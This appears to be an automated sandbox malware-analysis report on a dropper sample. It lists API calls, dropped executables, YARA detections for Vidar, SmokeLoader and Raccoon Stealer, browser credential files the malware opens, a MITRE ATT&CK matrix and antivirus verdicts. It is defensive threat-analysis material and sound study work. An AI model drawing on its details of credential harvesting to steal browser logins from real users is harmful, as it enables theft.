Code function: 32_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A94E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

Source: explorer.exe, 00000007.00000000.292972549.0000000001400000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000007.00000000.267477940.0000000005F40000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.292972549.0000000001400000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.292972549.0000000001400000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.280135901.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000007.00000000.270521490.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5D4.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EDD.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\319A.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Code function: 0_2_00421940 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A944020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,

Stealing of Sensitive Information:

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 26.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.1.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.97A5.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cviueca.2c715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.3180e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.cviueca.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.192F.exe.3190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Source: Yara match

File source: 36.3.32BC.exe.2d741e6.1.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 26.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.1.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.97A5.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cviueca.2c715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.3180e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.cviueca.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.192F.exe.3190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information1	Input Capture1	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service1	Application Shimming1	Obfuscated Files or Information3	Security Account Manager	System Information Discovery15	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter12	Logon Script (Mac)	Access Token Manipulation1	Software Packing23	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution2	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Security Software Discovery431	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol126	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection612	DLL Side-Loading11	Cached Domain Credentials	Virtualization/Sandbox Evasion131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection612	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SkB6zJ6H3N.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\EDD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5D4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6DDE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7428.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\69B5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\cviueca	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\32BC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8746.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\75B0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\97A5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\319A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\89D7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\eviueca	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sfiueca	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8E8B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\192F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\192F.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\319A.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\6DDE.exe	30%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\75B0.exe	55%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\86B8.exe	14%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
C:\Users\user\AppData\Local\Temp\8746.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.1.SkB6zJ6H3N.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.1.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.97A5.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.1.97A5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.97A5.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.SkB6zJ6H3N.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
